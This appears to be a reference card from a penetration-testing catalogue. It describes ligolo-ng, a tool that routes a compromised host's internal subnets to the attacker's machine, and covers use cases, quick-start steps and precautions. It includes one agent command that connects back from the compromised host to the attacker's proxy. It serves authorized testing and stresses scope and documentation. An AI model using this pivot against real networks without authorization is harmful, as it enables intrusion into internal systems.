PE-LIG
ligolo-ng
TUN-interface pivoting tool that turns a compromised host's reachable network into routable subnets on the attacker box.
OVERVIEW
ligolo-ng (nicocha30/ligolo-ng) is a pivoting tool built around a TUN network interface instead of a traditional SOCKS proxy: an agent binary runs on the compromised host and connects back to a proxy/relay running on the attacker's box, and once that link is up, the operator adds a route on their own machine so an entire remote subnet behind the agent becomes directly routable — any tool (Nmap, curl, a browser) just works against it without proxychains or protocol-aware wrapping.
That TUN-based design avoids the main pain point of SOCKS-style pivoting (per-tool, per-protocol proxy configuration) at the cost of needing elevated privileges on the attacker box to create the interface, and it ships pre-built binaries for common OS/architecture combos, plus a companion agent that can be compiled small enough to drop on a target with minimal footprint.
USE CASES
Practical use cases
- 01
Pivoting an entire internal subnet behind a compromised host into a normal, routable target for any existing tool.
- 02
Running Nmap, web scanners, or manual testing against hosts on a segment only reachable through the foothold, with no proxy-aware wrapping.
- 03
Chaining multiple agents to reach a segment several hops deep in a layered internal network.
- 04
Establishing a fast reverse pivot from a low-footprint agent dropped during an internal engagement.
QUICK START
Once a foothold exists and internal segments need to be reachable as if the attacker box were on that network, to set up a fast reverse pivot without per-port proxy juggling.
- Confirm the foothold and the target subnet reachable through it are both authorized for pivoting.
- Run the ligolo-ng proxy on the attacker box and create a TUN interface (ligolo0) with elevated privileges.
- Transfer the matching agent binary to the compromised host and execute it, pointing back at the proxy.
- In the proxy console, select the connected agent session and add a route for its reachable subnet via ligolo0.
- Test connectivity (e.g. a ping or a port scan) against a host on the far subnet to confirm the pivot works.
./agent -connect 10.10.10.1:11601 -ignore-certBEFORE YOU RUN IT
What to check before running it
Creating the TUN interface on the attacker box requires root/admin privileges — plan for that on shared or restricted attacker infrastructure.
Like any pivot tool, its agent-to-proxy traffic is a distinct network flow that a monitored target can fingerprint and alert on; document the pivot path (agent host, proxy listener) for the report.
Adding a route makes the far subnet directly reachable from the attacker box for every tool at once — scope routes to only the authorized subnet, not the whole range the agent happens to see.